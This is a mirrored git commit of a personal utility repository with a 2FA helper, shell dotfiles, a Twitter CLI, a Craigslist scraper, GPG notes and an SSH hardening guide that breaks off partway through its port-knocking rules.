mirror of
git://git.acid.vegas/random.git
synced 2024-11-13 03:26:43 +00:00
Initial commit
This commit is contained in:
commit
e66f25f121
45
2fa.py
Normal file
45
2fa.py
Normal file
@ -0,0 +1,45 @@
|
||||
#!/usr/bin/env python
|
||||
# Two-factor Authentication (2FA) Helper - Developed by acidvegas in Python (https://acid.vegas/random)
|
||||
|
||||
'''
|
||||
Requirements:
|
||||
pyotp (https://pypi.org/project/pyotp/)
|
||||
qrcode (https://pypi.org/project/qrcode/)
|
||||
'''
|
||||
|
||||
import io, sys, time
|
||||
|
||||
try:
|
||||
import pyotp, qrcode
|
||||
except ImportError:
|
||||
raise SystemExit('missing required \'pyotp\' module! (https://pypi.org/project/pyotp/)')
|
||||
try:
|
||||
import qrcode
|
||||
except ImportError:
|
||||
raise SystemExit('missing required \'qrcode\' module! (https://pypi.org/project/qrcode/)')
|
||||
|
||||
def qrgen(data):
|
||||
stdout = sys.stdout
|
||||
sys.stdout = io.StringIO()
|
||||
qr = qrcode.QRCode(border=1)
|
||||
qr.add_data(data)
|
||||
qr.make(fit=True)
|
||||
qr.print_ascii(invert=True)
|
||||
output = sys.stdout.getvalue()
|
||||
sys.stdout = stdout
|
||||
return output
|
||||
|
||||
name = input('name : ')
|
||||
issuer = input('issuer : ')
|
||||
secret = input('secret : ') or pyotp.random_base32()
|
||||
uri = pyotp.totp.TOTP(secret).provisioning_uri(name, issuer)
|
||||
qr = qrgen(uri).replace(' ', ' ')[:-1]
|
||||
max_len = len(qr.split('\n')[1])
|
||||
print(uri+'\n'+qr)
|
||||
del name, issuer, uri, qr
|
||||
while True:
|
||||
code = pyotp.TOTP(secret).now()
|
||||
seconds = int(time.strftime('%S'))
|
||||
remain = 60-seconds if seconds >= 30 else 30-seconds
|
||||
print(f'{code} ({remain})'.center(max_len), end='\r')
|
||||
time.sleep(1)
|
54
acidbox/.bashrc
Normal file
54
acidbox/.bashrc
Normal file
@ -0,0 +1,54 @@
|
||||
[[ $- != *i* ]] && return
|
||||
|
||||
export LC_CTYPE=en_US.UTF-8
|
||||
export LC_ALL=en_US.UTF-8
|
||||
|
||||
alias backup='rm ~/.backup/*.tar.gz && tar cvf ~/.backup/backup-DATE,tar.gz ~/'
|
||||
alias cmds='sh ~/.scripts/cmds'
|
||||
alias colors='sh ~/.scripts/colors.sh'
|
||||
alias contact='sh ~/.scripts/contact'
|
||||
alias diff='diff --color=auto'
|
||||
alias dvtm-help='cat ~/.scripts/dvtm-help'
|
||||
alias grep='grep --color=auto'
|
||||
alias ls='ls --color=auto'
|
||||
alias rtach='abduco -a main'
|
||||
alias rules='sh ~/.scripts/rules'
|
||||
alias startx='abduco -c main sh ~/.scripts/dvtm-status.sh'
|
||||
alias tb='(exec 3<>/dev/tcp/termbin.com/9999; cat >&3; cat <&3; exec 3<&-)'
|
||||
alias title='echo -ne "\033]0;$*\007"'
|
||||
alias vhosts='sh ~/.scripts/vhosts'
|
||||
|
||||
extract () {
|
||||
if [ -f $1 ] ; then
|
||||
case $1 in
|
||||
*.tar.bz2) tar xjvf $1 ;;
|
||||
*.tar.gz) tar xzvf $1 ;;
|
||||
*.bz2) bzip2 -d $1 ;;
|
||||
*.rar) unrar2dir $1 ;;
|
||||
*.gz) gunzip $1 ;;
|
||||
*.tar) tar xf $1 ;;
|
||||
*.tbz2) tar xjf $1 ;;
|
||||
*.tgz) tar xzf $1 ;;
|
||||
*.zip) unzip2dir $1 ;;
|
||||
*.Z) uncompress $1 ;;
|
||||
*.7z) 7z x $1 ;;
|
||||
*.ace) unace x $1 ;;
|
||||
*) echo "unkown archive format" ;;
|
||||
esac
|
||||
else
|
||||
echo "'$1' is not a valid file"
|
||||
fi
|
||||
}
|
||||
|
||||
rnd() {
|
||||
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $1 | head -n 1
|
||||
}
|
||||
|
||||
transfer() {
|
||||
tmpfile=$( mktemp -t transferXXX )
|
||||
curl -H "Max-Downloads: 1" -H "Max-Days: 1" --progress-bar --upload-file $1 https://transfer.sh/$(basename $1) >> $tmpfile;
|
||||
cat $tmpfile;
|
||||
rm -f $tmpfile;
|
||||
}
|
||||
|
||||
PS1='\e[1;34m> \e[0;32m\w \e[0;37m: '
|
21
acidbox/.scripts/cmds
Executable file
21
acidbox/.scripts/cmds
Executable file
@ -0,0 +1,21 @@
|
||||
#! /bin/sh
|
||||
BLUE='\033[1;34m'
|
||||
CYAN='\033[0;36m'
|
||||
GREY='\033[1;30m'
|
||||
RESET='\033[0m'
|
||||
YELLOW='\033[0;33m'
|
||||
echo -e "\n[${BLUE}INFORMATION COMMANDS${RESET}]"
|
||||
echo -e " ${GREY}* ${CYAN}colors${YELLOW}\tDisplay terminal color support"
|
||||
echo -e " ${GREY}* ${CYAN}contact${YELLOW}\tInformation on how to contact the system administrator"
|
||||
echo -e " ${GREY}* ${CYAN}rules${YELLOW}\tDisplay the server rules"
|
||||
echo -e " ${GREY}* ${CYAN}vhosts${YELLOW}\tList all of the Virtual Hosts"
|
||||
echo -e "\n${RESET}[${BLUE}SESSION COMMANDS${RESET}]"
|
||||
echo -e " ${GREY}* ${CYAN}dvtm-help${YELLOW}\tInformation about dvtm and how to use it"
|
||||
echo -e " ${GREY}* ${CYAN}rtach${YELLOW}\tReattach to your main abduco session ${GREY}(Create session with startx)"
|
||||
echo -e " ${GREY}* ${CYAN}startx${YELLOW}\tStart a dvtm session in abduco ${GREY}(See dvtm-help for more information)"
|
||||
echo -e "\n${RESET}[${BLUE}OTHER COMMANDS${RESET}]"
|
||||
echo -e " ${GREY}* ${CYAN}backup${YELLOW}\tCreate a backup tar file of your home directory ${GREY}(Saves to the ~/.backup/ directory)"
|
||||
echo -e " ${GREY}* ${CYAN}extract${YELLOW}\tExtract any archive format ${GREY}(Usage: extract archive.tar.gz)"
|
||||
echo -e " ${GREY}* ${CYAN}rnd${YELLOW}\t\tReturn a random string ${GREY}(Usage: rnd <int>)"
|
||||
echo -e " ${GREY}* ${CYAN}tb${YELLOW}\t\tUpload a text files contents to termbin ${GREY}(Usage: cat file.txt | tb)"
|
||||
echo -e " ${GREY}* ${CYAN}transfer${YELLOW}\tUpload a file to transfer.sh ${GREY}(Usage: transfer file.tar)\n"
|
12
acidbox/.scripts/contact
Executable file
12
acidbox/.scripts/contact
Executable file
@ -0,0 +1,12 @@
|
||||
#! /bin/sh
|
||||
BLUE='\033[1;34m'
|
||||
CYAN='\033[0;36m'
|
||||
GREY='\033[1;30m'
|
||||
RESET='\033[0m'
|
||||
YELLOW='\033[0;33m'
|
||||
echo -e "\n[${BLUE}CONTACT${RESET}]"
|
||||
echo -e " ${GREY}* ${CYAN}E-Mail${YELLOW}\tacid.vegas@acid.vegas"
|
||||
echo -e " ${GREY}* ${CYAN}Github${YELLOW}\thttps://github.com/acidvegas"
|
||||
echo -e " ${GREY}* ${CYAN}IRC${YELLOW}\t\tirc.supernets.org #acidbox"
|
||||
echo -e " ${GREY}* ${CYAN}Keybase${YELLOW}\thttps://keybase.io/acidvegas"
|
||||
echo -e " ${GREY}* ${CYAN}Twitter${YELLOW}\thttps://twitter.com/acidvegas\n"
|
11
acidbox/.scripts/rules
Executable file
11
acidbox/.scripts/rules
Executable file
@ -0,0 +1,11 @@
|
||||
#! /bin/sh
|
||||
BLUE='\033[1;34m'
|
||||
CYAN='\033[0;36m'
|
||||
GREY='\033[1;30m'
|
||||
RESET='\033[0m'
|
||||
YELLOW='\033[0;33m'
|
||||
echo -e "\n[${BLUE}RULES${RESET}]"
|
||||
echo -e " ${GREY}*${YELLOW} This is a private system that you are not to give out access to anyone"
|
||||
echo -e " without permission from the system admin. No illegal files or activites."
|
||||
echo -e " ${GREY}*${YELLOW} Avoid denial of service attacks out of respect for other users on the system."
|
||||
echo -e " ${GREY}*${YELLOW} Stay in your home directory, keep the system clean, and make regular backups.\n"
|
12
acidbox/.scripts/vhosts
Executable file
12
acidbox/.scripts/vhosts
Executable file
@ -0,0 +1,12 @@
|
||||
#! /bin/sh
|
||||
BLUE='\033[1;34m'
|
||||
CYAN='\033[0;36m'
|
||||
GREY='\033[1;30m'
|
||||
RESET='\033[0m'
|
||||
YELLOW='\033[0;33m'
|
||||
echo -e "\n[${BLUE}VIRTUAL HOSTS${RESET}]"
|
||||
echo -e " ${GREY}* ${CYAN}ip address 1 ${YELLOW}\tvirtual.hostname1.com"
|
||||
echo -e " ${GREY}* ${CYAN}ip address 2 ${YELLOW}\tvirtual.hostname2.com"
|
||||
echo -e " ${GREY}* ${CYAN}ip address 3 ${YELLOW}\tvirtual.hostname3.com"
|
||||
echo -e " ${GREY}* ${CYAN}ip address 4 ${YELLOW}\tvirtual.hostname4.com"
|
||||
echo -e " ${GREY}* ${CYAN}ip address 5 ${YELLOW}\tvirtual.hostname5.com\n"
|
46
acidbox/setup
Executable file
46
acidbox/setup
Executable file
@ -0,0 +1,46 @@
|
||||
#!/bin/sh
|
||||
set -e
|
||||
|
||||
function setup_motd() {
|
||||
RESET='\033[0m'
|
||||
GREEN='\033[0;32m'
|
||||
BGREEN='\033[1;32m'
|
||||
YELLOW='\033[0;33m'
|
||||
CYAN='\033[0;36m'
|
||||
GREY='\033[1;30m'
|
||||
RED='\033[1;31m'
|
||||
BLUE='\033[1;34m'
|
||||
UBLUE='\033[4;34m'
|
||||
echo "╔═══════════════════════╦══════════════════════════════════════════════════════════════╗
|
||||
║${GREEN} ▄▄▄· ▄▄· ▪ ·▄▄▄▄ ${RESET}║ ${RED}Connection Notice${RESET} ║
|
||||
║${GREEN} ▐█ ▀█ ▐█ ▌▪██ ██▪ ██ ${RESET}╟──────────────────────────────────────────────────────────────╢
|
||||
║${GREEN} ▄█▀▀█ ██ ▄▄▐█·▐█· ▐█▌ ${RESET}║ ║
|
||||
║${GREEN} ▐█ ▪▐▌▐███▌▐█▌██. ██ ${RESET}║ ${YELLOW}This system is for the use of authorized users only.${RESET} ║
|
||||
║${GREEN} ▀ ▀ ·▀▀▀ ▀▀▀▀▀▀▀▀• ${RESET}║ ${YELLOW}All connections will be monitored and logged by the system.${RESET} ║
|
||||
║${GREEN} ▄▄▄▄· ▐▄• ▄ ${RESET}║ ║
|
||||
║${GREEN} ▐█ ▀█▪▪ █▌█▌▪ ${RESET}║ ${YELLOW}Connection issues? Contact ${UBLUE}${BLUE}acid.vegas@acid.vegas${YELLOW} for help.${RESET} ║
|
||||
║${GREEN} ▐█▀▀█▄ ▄█▀▄ ·██· ${RESET}║ ║
|
||||
║${GREEN} ██▄▪▐█▐█▌.▐▌▪▐█·█▌ ${RESET}║ ${YELLOW}Right about now, the funk soul brudda. Check it out now...${RESET} ║
|
||||
║${GREEN} ·▀▀▀▀ ▀█▄▀▪•▀▀ ▀▀ ${RESET}║ ║
|
||||
╚═══════════════════════╩══════════════════════════════════════════════════════════════╝" > /etc/issue
|
||||
echo "${YELLOW}Hello ${CYAN}$(whoami)${YELLOW}! You are now connected to ${RED}$(hostname)
|
||||
${YELLOW}Type ${BGREEN}cmds${YELLOW} to see a list of commands available.${RESET}
|
||||
|
||||
[${BLUE}RULES${RESET}]
|
||||
${GREY}*${YELLOW} This is a private system that you are not to give out access to anyone
|
||||
without permission from the system admin. No illegal files or activites.
|
||||
${GREY}*${YELLOW} Avoid denial of service attacks out of respect for other users on the system.
|
||||
${GREY}*${YELLOW} Stay in your home directory, keep the system clean, and make regular backups." > /etc/motd
|
||||
}
|
||||
|
||||
function setup_user() {
|
||||
sudo useradd -m -G ssh -s /bin/bash $1
|
||||
mkdir /home/$1/.scripts
|
||||
wget -O /home/$1/.bashrc https://git.supernets.org/acidvegas/acidbox/blob/master/files/.bashrc
|
||||
wget -O /home/$1/.scripts/cmds https://git.supernets.org/acidvegas/acidbox/blob/master/files/cmds
|
||||
wget -O /home/$1/.scripts/contact https://git.supernets.org/acidvegas/acidbox/blob/master/files/contact
|
||||
wget -O /home/$1/.scripts/rules https://git.supernets.org/acidvegas/acidbox/blob/master/files/rules
|
||||
wget -O /home/$1/.scripts/vhosts https://git.supernets.org/acidvegas/acidbox/blob/master/files/vhosts
|
||||
echo "clear && reset" > /home/$1/.bash_logout
|
||||
echo "[[ -f ~/.bashrc ]] && . ~/.bashrc" > /home/$1/.bash_profile
|
||||
}
|
12
btkb.sh
Normal file
12
btkb.sh
Normal file
@ -0,0 +1,12 @@
|
||||
#!/bin/sh
|
||||
sudo pacman -S bluez bluez-utils
|
||||
sudo systemctl enable bluetooth && sudo systemctl start bluetooth
|
||||
sudo sed -i 's/#AutoEnable=false/AutoEnable=true/' /etc/bluetooth/main.conf
|
||||
bluetoothctl power on
|
||||
bluetoothctl agent KeyboardOnly
|
||||
bluetoothctl pairable on
|
||||
bluetoothctl scan on
|
||||
bluetoothctl pair CC:C5:0A:20:91:5B
|
||||
bluetoothctl trust CC:C5:0A:20:91:5B
|
||||
bluetoothctl connect CC:C5:0A:20:91:5B
|
||||
bluetoothctl scan off
|
42
clitter.py
Normal file
42
clitter.py
Normal file
@ -0,0 +1,42 @@
|
||||
#!/usr/bin/env python
|
||||
# CLI Twitter - Developed by acidvegas in Python (https://acid.vegas/random)
|
||||
|
||||
'''
|
||||
Requirements:
|
||||
Tweepy (http://pypi.python.org/pypi/tweepy)
|
||||
'''
|
||||
|
||||
import sys
|
||||
|
||||
consumer_key = 'CHANGEME'
|
||||
consumer_secret = 'CHANGEME'
|
||||
access_token = 'CHANGEME'
|
||||
access_token_secret = 'CHANGEME'
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
raise SystemExit('[!] - Missing command line arguments! (Usage: clitter.py <tweet>)')
|
||||
else:
|
||||
tweet = ' '.join(sys.argv[1:])
|
||||
try:
|
||||
import tweepy
|
||||
except ImportError:
|
||||
raise SystemExit('[!] - Failed to import the Tweepy library! (http://pypi.python.org/pypi/tweepy)')
|
||||
try:
|
||||
auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
|
||||
auth.set_access_token(access_token, access_token_secret)
|
||||
api = tweepy.API(auth, wait_on_rate_limit=True, wait_on_rate_limit_notify=True)
|
||||
if not api.verify_credentials():
|
||||
raise tweepy.TweepError
|
||||
except tweepy.TweepError as ex:
|
||||
raise SystemExit(f'[!] - Failed to login to Twitter! ({ex})')
|
||||
else:
|
||||
me = api.me()
|
||||
if len(tweet) > 280:
|
||||
raise SystemExit('[!] - Tweet is too long!')
|
||||
else:
|
||||
try:
|
||||
api.update_status(tweet)
|
||||
tweet = api.user_timeline(id=me.id, count=1)[0]
|
||||
print(f'[+] - Tweet has been posted! (https://twitter.com/{me.screen_name}/status/{tweet.id})')
|
||||
except tweepy.TweepError as ex:
|
||||
raise SystemExit(f'Failed to post Tweet! ({ex})')
|
61
craggle.py
Normal file
61
craggle.py
Normal file
@ -0,0 +1,61 @@
|
||||
#!/usr/bin/env python
|
||||
# CraigsList Parser - Developed by acidvegas in Python (https://acid.vegas/random)
|
||||
|
||||
'''
|
||||
Random script to parse all the countries, states, cities, & sections/sub-sections on CraigsList
|
||||
'''
|
||||
|
||||
import re, time, urllib.request
|
||||
|
||||
def between(source, start, stop):
|
||||
data = re.compile(start + '(.*?)' + stop, re.IGNORECASE|re.MULTILINE).search(source)
|
||||
return data.group(1) if data else False
|
||||
|
||||
def get_source(url):
|
||||
source = urllib.request.urlopen(url, timeout=10)
|
||||
charset = source.headers.get_content_charset()
|
||||
return source.read().decode(charset) if charset else source.read().decode()
|
||||
|
||||
db = {'category':dict(),'subcat':dict()}
|
||||
source = get_source('http://www.craigslist.org/about/sites?lang=en&cc=us')
|
||||
countries = re.findall('<h1><a name="(.*?)"></a>(.*?)</h1>', source, re.IGNORECASE|re.MULTILINE)
|
||||
source = source.replace('\n', '').replace('\r','')
|
||||
main_data = dict()
|
||||
statess = 0
|
||||
citiess = 0
|
||||
for country in countries:
|
||||
main_data[country[0].lower()] = dict()
|
||||
data = between(source, '<h1><a name="{0}"></a>{1}</h1>'.format(country[0], country[1]),'</a></li> </ul> </div> </div>')
|
||||
states = re.findall('<h4>(.*?)</h4>', data, re.IGNORECASE|re.MULTILINE)
|
||||
statess += len(states)
|
||||
for state in states:
|
||||
main_data[country[0].lower()][state.lower()] = dict()
|
||||
state_data = between(source, f'<h4>{state}</h4>', '</ul>')
|
||||
cities = re.findall('<li><a href="(.*?)">(.*?)</a></li>', state_data, re.IGNORECASE|re.MULTILINE)
|
||||
citiess += len(cities)
|
||||
for city in cities:
|
||||
main_data[country[0].lower()][state.lower()][city[1]] = city[0].split('/?')[0]
|
||||
new_source = get_source(city[0].split('/?')[0])
|
||||
new_source = new_source.replace('\n', '').replace('\r','')
|
||||
categories = re.findall('data-alltitle="all (.*?)" data-cat="(.*?)">', new_source, re.IGNORECASE|re.MULTILINE)
|
||||
for category in categories:
|
||||
db['category'][category[0]] = db['category'][category[0]]+1 if category[0] in db['category'] else 1
|
||||
if category[0] != 'resumes':
|
||||
cat = category[0].replace(' ','-')
|
||||
category_data = between(new_source, f'<h4 class="ban"><a href="/d/{cat}/search', '</ul></div></div>')
|
||||
try:
|
||||
sub_categories = re.findall('span class="txt">(.*?)<sup class', category_data, re.IGNORECASE|re.MULTILINE)
|
||||
for sub_category in sub_categories:
|
||||
print(f'{country[1]} | {state} | {city[1]} | {category[0]} | {sub_category}')
|
||||
db['subcat'][sub_category] = db['subcat'][sub_category]+1 if sub_category in db['subcat'] else 1
|
||||
except:
|
||||
print('\n\n\nerror !!!')
|
||||
print(category_data)
|
||||
print(category)
|
||||
input('')
|
||||
print(f'Country : {len(main_data)}')
|
||||
print(f'State : {statess}')
|
||||
print(f'City : {citiess}')
|
||||
print(str(db['category']))
|
||||
print('\n\n\n')
|
||||
print(str(db['subcat']))
|
74
docs/gpg.md
Normal file
74
docs/gpg.md
Normal file
@ -0,0 +1,74 @@
|
||||
# Create a key
|
||||
`gpg --expert --full-generate-key`
|
||||
* RSA (set your own capabilities)
|
||||
* Set to Certify only.
|
||||
* 4096
|
||||
* 2020-01-01
|
||||
|
||||
`gpg --expert --edit-key <userid>`
|
||||
* `addkey` (Create 3, one for sign, encrypt, authenticate)
|
||||
* `adduid`
|
||||
* `save`
|
||||
|
||||
# Backup key
|
||||
* `mv ~/.gnupg/secring.gpg ~/.backup/gpg/`
|
||||
* `mv ~/.gnupg/pubring.gpg ~/.backup/gpg/`
|
||||
* `gpg -a --export-secret-key <userid> > secret_key.gpg`
|
||||
* `gpg -a --export-secret-subkeys <userid> > secret_subkeys.gpg`
|
||||
* `gpg --delete-secret-keys <userid>`
|
||||
* `gpg --import secret_subkeys.gpg`
|
||||
* `gpg --list-secret-keys`
|
||||
* `rm secret_subkeys.gpg`
|
||||
|
||||
# Revoke cert
|
||||
* `gpg -a --output revoke.asc --gen-revoke '<fingerprint>'`
|
||||
|
||||
# Import/Export public key
|
||||
* `gpg --import public.key`
|
||||
* `gpg --output public.key --armor --export <userid>`
|
||||
|
||||
# Import/Export private key
|
||||
* `gpg --export-secret-keys --armor <userid> > privkey.asc`
|
||||
* `gpg --import privkey.asc`
|
||||
|
||||
# Edit keys
|
||||
* `gpg --edit-key <userid>`
|
||||
|
||||
# List (secret) keys
|
||||
* `gpg --list-keys`
|
||||
* `gpg --list-secret-keys`
|
||||
|
||||
# Encrypt/Decrypt
|
||||
* `gpg --recipient user-id --encrypt doc`
|
||||
* `gpg --output doc --decrypt doc.gpg`
|
||||
|
||||
or...
|
||||
|
||||
* `gpg -c --s2k-cipher-algo AES256 --s2k-digest-algo SHA512 --s2k-count 65536 doc`
|
||||
* `gpg --output doc --decrypt doc.gpg`
|
||||
|
||||
# Signing
|
||||
* `gpg --output doc.sig --sign doc`
|
||||
* `gpg --output doc.sig --clearsign doc`
|
||||
* `gpg --output doc.sig --detach-sig doc`
|
||||
|
||||
# Verify
|
||||
* `gpg --verify doc.sig`
|
||||
* `gpg --verify archlinux-version.iso.sig`
|
||||
* `gpg --verify archlinux-version.iso.sig /path/to/archlinux-version.iso`
|
||||
* `gpg --with-fingerprint <keyfile>`
|
||||
|
||||
# Send keys
|
||||
* `gpg --send-keys <userid>`
|
||||
* `gpg --refresh-keys`
|
||||
|
||||
# Get keys
|
||||
* `gpg --recv-key '<fingerprint>'`
|
||||
* `gpg --fingerprint '<fingerprint>'`
|
||||
|
||||
# Sign key
|
||||
* `gpg --lsign-key '<fingerprint>'`
|
||||
|
||||
or...
|
||||
|
||||
* `gpg --sign-key '<fingerprint>'`
|
273
docs/ssh.md
Normal file
273
docs/ssh.md
Normal file
@ -0,0 +1,273 @@
|
||||
A full write-up on OpenSSH usage with security in mind.
|
||||
|
||||
---
|
||||
|
||||
# Table of Contents
|
||||
* [Generating An SSH Key Pair](#generating-an-ssh-key-pair)
|
||||
- [Linux](#linux)
|
||||
- [Windows](#windows)
|
||||
* [Getting Your Client To Use Your SSH Key](#getting-your-client-to-use-your-ssh-key)
|
||||
- [Linux](#linux)
|
||||
- [Windows](#windows)
|
||||
* [Setup Server](#setup-server)
|
||||
- [Harden OpenSSH Daemon](#harden-openssh-daemon)
|
||||
- [Create A New User On The Server](#create-a-new-user-on-the-server)
|
||||
- [Copy Your Public Key To Your Shell](#copy-your-public-key-to-your-shell)
|
||||
* [Extra Security](#extra-security)
|
||||
- [Allow Incoming SSH Connections Through IPTables](#allow-incoming-ssh-connections-through-iptables)
|
||||
- [Lock Users In A Chroot Jail Environment](#lock-users-in-a-chroot-jail-environment)
|
||||
- [Port Knocking](#port-knocking)
|
||||
- [Setup Server](#setup-server-1)
|
||||
- [Using IPTables](#using-iptables)
|
||||
- [Using Knockd](#using-knockd)
|
||||
- [Knocking Your Server](#knocking-your-server)
|
||||
- [Using Nmap](#using-nmap)
|
||||
- [Using knockd](#using-knockd-1)
|
||||
- [Jump Hosts](#jump-hosts)
|
||||
|
||||
**Note:** The port *65150* is used in this write-up as an example of how to use a non-standard ports.
|
||||
|
||||
---
|
||||
|
||||
## Generating An SSH Key Pair
|
||||
### Linux
|
||||
Generate a key using the **Ed25519** algorithm with 500 KDF rounds:
|
||||
* `ssh-keygen -t ed25519 -a 500 -C "$(whoami)@$(hostname)-$(date -I)"`
|
||||
|
||||
This will generate 2 files in your `~/.ssh` directory. A public key *(.pub)* and a private key.
|
||||
|
||||
You only need to backup your private key. Public keys can be regenerated from the private key:
|
||||
* `ssh-keygen -y -f ~/.ssh/acidvegas@pi-2017-01-01`
|
||||
|
||||
Copy your public key to clipboard:
|
||||
* `cat ~/.ssh/acidvegas@pi-2017-01-01.pub`
|
||||
|
||||
### Windows
|
||||
Download & run [puttygen](https://the.earth.li/~sgtatham/putty/latest/w32/puttygen.exe).
|
||||
|
||||
Once opened, change the key type to **ED25519** under the *Parameters* box, and then click the *Generate* button.
|
||||
|
||||
Click the *Save private key* button to save your key.
|
||||
|
||||
You only need to backup your private key. Public keys can be regenerated by clicking `File -> Load private key`.
|
||||
|
||||
Copy the data in the box labeled *Public key for pasting into OpenSSH authorized_keys file*.
|
||||
|
||||
## Getting Your Client To Use Your SSH Key
|
||||
### Linux
|
||||
* `ssh -p 65150 -i ~/.ssh/acidvegas@pi-2017-01-01 acidvegas@192.168.1.10`
|
||||
|
||||
or...
|
||||
|
||||
* `nano ~/.ssh/config`
|
||||
```
|
||||
Host acidbox
|
||||
HostName 192.168.1.10
|
||||
Port 65150
|
||||
User acidvegas
|
||||
IdentityFile ~/.ssh/acidvegas@pi-2017-01-01
|
||||
IdentitiesOnly yes
|
||||
```
|
||||
* `chmod 600 ~/.ssh/config`
|
||||
* Usage: `ssh acidbox`
|
||||
|
||||
### Windows
|
||||
Download & run the [putty](https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe) client.
|
||||
|
||||
Once opened, select `Connection -> SSH -> Auth` from the *Category* box. Click the *Browse* button and select your private key.
|
||||
|
||||
Select *Session* from the *Category* box. Change the *Host Name (or IP address)* and *Port* to your server.
|
||||
|
||||
Name the session in *Saved Sessions* box and click the *Save* button.
|
||||
|
||||
SSH into your server by clicking your saved session from the *Saved Sessions* box, and clicking the *Open* button.
|
||||
|
||||
---
|
||||
|
||||
## Setup Server
|
||||
### Harden OpenSSH Daemon
|
||||
* `nano /etc/ssh/sshd_config`
|
||||
```
|
||||
AddressFamily any
|
||||
AllowAgentForwarding no
|
||||
AllowGroups ssh
|
||||
AllowTcpForwarding no
|
||||
AuthorizedKeysFile /etc/ssh/authorized_keys/%u
|
||||
#Banner /etc/issue
|
||||
ChallengeResponseAuthentication no
|
||||
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr
|
||||
ClientAliveInterval 0
|
||||
#ClientAliveCountMax 0
|
||||
HostKey /etc/ssh/ssh_host_ed25519_key
|
||||
KexAlgorithms curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256
|
||||
LoginGraceTime 30
|
||||
MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,umac-128@openssh.com
|
||||
MaxAuthTries 2
|
||||
MaxSessions 1
|
||||
MaxStartups 3:50:10
|
||||
PasswordAuthentication no
|
||||
PermitRootLogin no
|
||||
Port 65150
|
||||
PrintLastLog no
|
||||
PrintMotd no
|
||||
Protocol 2
|
||||
```
|
||||
* `mkdir /etc/ssh/authorized_keys`
|
||||
* `rm /etc/ssh/ssh_host_*_key`
|
||||
* `ssh-keygen -t ed25519 -f /etc/ssh/ssh_host_ed25519_key`
|
||||
|
||||
**Options**:
|
||||
* The `AddressFamily` option can be:
|
||||
- **inet** for IPv4 only.
|
||||
- **inet6** for IPv6 only.
|
||||
- **any** for both.
|
||||
* The `AuthorizedKeysFile` option can be commented out to use the standard `~/.ssh/authorized_keys` file instead.
|
||||
* The `Banner` option can be un-commented if the `/etc/issue` file exists. This is shown before the user authenticates.
|
||||
* The `ClientAliveCountMax` option can be un-commented & the `ClientAliveInterval` option can be changed to **1800** to enforce a 15 minute idle timeout.
|
||||
* The `MaxSessions` option can be increased if there are additional users on the server.
|
||||
* The `Port` option should be set to a non-standard port *(High-value port number recommended)*.
|
||||
* The `PrintMotd` option can be changed to **yes** if the file `/etc/motd` exists. This is shown after the user authenticates.
|
||||
|
||||
### Create A New User On The Server
|
||||
Create a new user on the server with a password:
|
||||
* `useradd -m -s /bin/bash acidvegas`
|
||||
* `passwd acidvegas`
|
||||
|
||||
Create an **ssh** group and add your user to the group.
|
||||
* `groupadd ssh`
|
||||
* `gpasswd -a acidvegas ssh`
|
||||
|
||||
### Copy Your Public Key To Your Shell
|
||||
* `nano /etc/ssh/authorized_keys/acidvegas` *(Paste your public key data in this file)*
|
||||
|
||||
**Note:** This is only required if you are using the `AuthorizedKeysFile /etc/ssh/authorized_keys/%u` line in your `sshd_config` file. For using the standard `~/.ssh/authorized_keys` file, do the follow:
|
||||
* `mkdir ~/.ssh`
|
||||
* `chmod 700 ~/.ssh`
|
||||
* `chown -R $USER ~/.ssh`
|
||||
* `nano ~/.ssh/authorized_keys` *(Paste the copied public key data into this file)*
|
||||
* `chmod 400 ~/.ssh/authorized_keys`
|
||||
* Optionally, you can pass the immutable flag to prevent changes:
|
||||
- `chattr +i ~/.ssh`
|
||||
- `chattr +i ~/.ssh/authorized_keys`
|
||||
|
||||
---
|
||||
|
||||
# Extra Security
|
||||
### Allow Incoming SSH Connections Through IPTables
|
||||
```
|
||||
iptables -A INPUT -i eth0 -p tcp --dport 65150 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
|
||||
iptables -A OUTPUT -o eth0 -p tcp --sport 65150 -m conntrack --ctstate ESTABLISHED -j ACCEPT
|
||||
```
|
||||
|
||||
You can also allow only incomming connection from a specific IP address instead by changing the first line above to:
|
||||
```
|
||||
iptables -A INPUT -i eth0 -p tcp -s 192.168.1.99 --dport 65150 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
|
||||
```
|
||||
|
||||
### Lock Users In A Chroot Jail Environment
|
||||
See [mkchroot](https://github.com/acidvegas/mkchroot) repository for details.
|
||||
|
||||
### Port Knocking
|
||||
The following is an example which uses the port knocking sequence `8881 -> 7777 -> 9991` to open port 65150 for 30 seconds.
|
||||
|
||||
##### Server
|
||||
###### Using IPTables
|
||||
* `nano /etc/iptables/iptables.rules`
|
||||
```
|
||||
*filter
|
||||
:INPUT DROP [0:0]
|
||||
:FORWARD DROP [0:0]
|
||||
:OUTPUT ACCEPT [0:0]
|
||||
:TRAFFIC - [0:0]
|
||||
:SSH-INPUT - [0:0]
|
||||
:SSH-INPUTTWO - [0:0]
|
||||
# TRAFFIC chain for Port Knocking. The correct port sequence in this example is 8881 -> 7777 -> 9991; any other sequence will drop the traffic
|
||||
-A INPUT -j TRAFFIC
|
||||
-A TRAFFIC -p icmp --icmp-type any -j ACCEPT
|
||||
-A TRAFFIC -m state --state ESTABLISHED,RELATED -j ACCEPT
|
||||
-A TRAFFIC -m state --state NEW -m tcp -p tcp --dport 65150 -m recent --rcheck --seconds 30 --name SSH2 -j ACCEPT
|
||||
-A TRAFFIC -m state --state NEW -m tcp -p tcp -m recent --name SSH2 --remove -j DROP
|
||||
-A TRAFFIC -m state --state NEW -m tcp -p tcp --dport 9991 -m recent --rcheck --name SSH1 -j SSH-INPUTTWO
|
||||
-A TRAFFIC -m state --state NEW -m tcp -p tcp -m recent --name SSH1 --remove -j DROP
|
||||
-A TRAFFIC -m state --state NEW -m tcp -p tcp --dport 7777 -m recent --rcheck --name SSH0 -j SSH-INPUT
|
||||
-A TRAFFIC -m state --state NEW -m tcp -p tcp -m recent --name SSH0 --remove -j DROP
|
||||
-A TRAFFIC -m state --state NEW -m tcp -p tcp --dport 8881 -m recent --name SSH0 --set -j DROP
|
